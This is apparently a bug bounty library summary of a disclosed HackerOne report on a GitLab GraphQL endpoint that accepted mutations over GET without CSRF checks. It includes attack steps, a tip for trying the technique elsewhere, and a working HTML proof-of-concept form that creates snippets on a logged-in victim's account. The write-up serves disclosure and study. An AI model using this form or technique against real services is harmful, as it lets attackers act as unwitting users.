# CSRF on /api/graphql allows executing mutations through GET requests

GitLab's GraphQL endpoint accepted mutations via GET without CSRF token, letting an attacker's page create snippets on a logged-in victim's account.

- Payout: $3,370
- Severity: high
- Program: GitLab
- Found by: az3z3l
- Disclosed: 2021-08-02
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1122408
- Library page: https://bugbountylibrary.com/r/h1%3A1122408
- Tags: area:web domain:api domain:web impact:integrity kind:bounty platform:hackerone sev:high tech:graphql technique:source-review vuln:csrf

**Target:** GitLab /api/graphql endpoint
**Root cause:** CSRF protection (X-CSRF-Token header) was only enforced on POST requests; GET requests to the GraphQL endpoint skipped the token check but still executed mutations.
**Steps:**
1. Craft HTML page with a form action `https://gitlab.com/api/graphql/` method `GET`
2. Set `query` param to `mutation CreateSnippet($input: CreateSnippetInput!){createSnippet(input:$input){...}}`
3. Set `variables` param to JSON with title/visibility/blobActions
4. Auto-submit form via JS
5. Victim logged into GitLab visits page; snippet `Tesssst Snippet` is created on their account
**How found:** Noticed CSRF protection relied on POST + X-CSRF-Token; hypothesized the backend wouldn't expect the token on GET, then tested a GET-based GraphQL mutation.
**Exploitation:** Attacker hosts a malicious HTML page that auto-submits a GET form to gitlab.com/api/graphql with a createSnippet mutation. Because the victim's browser sends session cookies and the GET path skips CSRF token validation, the mutation executes as the victim.
**Insight:** When a GraphQL endpoint enforces CSRF only on POST, try sending the same mutation as a GET query-string request—many frameworks route both methods to the same resolver but only gate one.

## Proof of concept (copied exactly from the original report)

**HTML form GET request executing GraphQL mutation**

```
<form action="https://gitlab.com/api/graphql/" id="csrf-form" method="GET">
        <input name="query" value="mutation CreateSnippet($input: CreateSnippetInput!) {  createSnippet(input: $input) {    errors    snippet {      webUrl      __typename    }    needsCaptchaResponse    captchaSiteKey    __typename  }}">
        <input name="variables" value='{"input":{"title":"Tesssst Snippet","description":"Hello World","visibilityLevel":"public","blobActions":[{"action":"create","previousPath":"readme.md","content":"reading this.md","filePath":"readme.md"}],"uploadedFiles":[],"projectPath":""}}'>
    </form>
```

